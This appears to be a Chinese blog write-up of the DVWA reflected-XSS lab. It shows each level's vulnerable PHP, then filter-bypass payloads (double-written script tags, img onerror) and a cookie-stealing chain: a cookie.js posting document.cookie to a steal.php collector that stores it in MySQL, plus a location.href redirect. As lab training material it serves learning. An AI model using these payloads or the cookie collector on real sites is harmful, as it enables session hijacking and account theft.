dvwa-xss(reflected)

总结了dvwa中的反射型xss关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
<?php

session_start();
setcookie('security','low',time()+3600);

if(array_key_exists('name',$_GET) && $_GET['name'] != NULL){
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

当我们GET一个name值以后,服务器毫无过滤的通过echo输出我们GET的name值,而如果我们输入的是一串代码,则这串代码通过echo就会被执行,这就是反射型的xss漏洞,我们可以通过GET方式输入一串js代码构造一个注入js代码的网页,当受害者访问这个url时,js代码将会自动实现,从而达到恶意攻击目的

比如我们输入

1
<script>alert('xss')</script>

于是我们可以利用这个xss漏洞获取服务器的cookie值,然后将cookie值存入数据库

先创建一个存放cookie的数据库

在mysql命令行输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
create database dvwacookie;

use dvwacookie;

create table low

(

id int primary key,

cookie varchar(100)

);

然后在编写一个cookie.js的脚本

这个脚本作用是创建隐藏表单,表单提交到steal.php,提交的内容是cookie值

接下来编写steal.php,自然就是将提交cookie值写入数据库里了

steal.php代码:

1
2
3
4
5
6
7
8
9
10
11
<?php

$con=mysql_connect('localhost','root','root');
mysql_select_db('dvwacookie',$con);

if(isset($_POST['data'])){
$sql="INSERT INTO low(cookie) VALUES ('".$_POST['data']."')";
$result=mysql_query($sql);
}

?>

然后回到存在xss漏洞的网页,通过GET传入name值

1
<script src=cookie.js></script>

查看数据库

成功获得cookie值

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
<?php

session_start();
setcookie('security','medium',time()+3600);

if(array_key_exists('name',$_GET) && $_GET['name'] != NULL){
$name=str_replace('<script>','',$_GET['name']);
echo '<pre>Hello ' . $name . '</pre>';
}

?>

源代码利用了str_replace函数对script标签进行了过滤

不过没关系,因为函数只执行了一次,所以用双写的方法就可以很轻松的解决

输入

1
<s<script>cript>alert('xss')</script>

之后跟low关卡一样,输入

1
<s<script>cript src=cookie.js></script>

获得cookie值

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
<?php

session_start();
setcookie('security','high',time()+3600);

if(array_key_exists('name',$_GET) && $_GET['name'] != NULL){
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);
echo '<pre>Hello ' . $name . '</pre>';
}

?>

这关利用了一个正则匹配过滤函数,i表示大小写,也就是以<开头,以t结尾的字符串,只要中间按顺序包含<script,则会立刻被过滤掉,之前双写绕过过滤的方法在这里行不通

绕过方法是采用触发onerror事件来执行javascript代码

onerror事件会在文档或者图像加载过程中发生错误时触发

例如,我们输入

1
<img src=# onerror=alert(“xss”)>

果然,加载图片时发现不存在这个图片发生错误所以触发了onerror事件,然后执行了alert(“xss”)代码

那么我们再考虑怎么像之前两关一样获得cookie值

之前是通过script标签的src属性引用外部的cookie.js文件,将cookie值以POST形式传入steal.php,再将POST的cookie值写入数据库

但是很明显这关对script标签做了正则过滤,只要我们输入含有这几个字符,都会被过滤掉,所以这里可以用location.href跳转链接到steal.php,将cookie值写入数据库,所以这里只能用GET方式将cookie值传入steal.php

于是输入

1
<img src=# onerror=(location.href=”http://127.0.0.1/demo/xss(reflected)/steal.php?data=”+document.cookie)>

但是结果却是

为什么呢

仔细检查发现我们输入里面

1
<img SrC=# oneRror=(locatIon.href=”httP://127.0.0.1/demo/xss(reflected)/steal.php?data=”+document.cookie)>

大写字母构成了<script,所以被过滤掉了

所以我们可以采用先获得cookie值,然后将cookie值传入steal.php

输入

1
<img src=# onerror=(alert(document.cookie))>

在将这个cookie值传入steal.php

还有种方法是对某个关键过滤字符进行html编码,但是我亲测不行,不知道什么原因,还望大神指点原因

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/07/11/dvwa-xss(reflected)/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog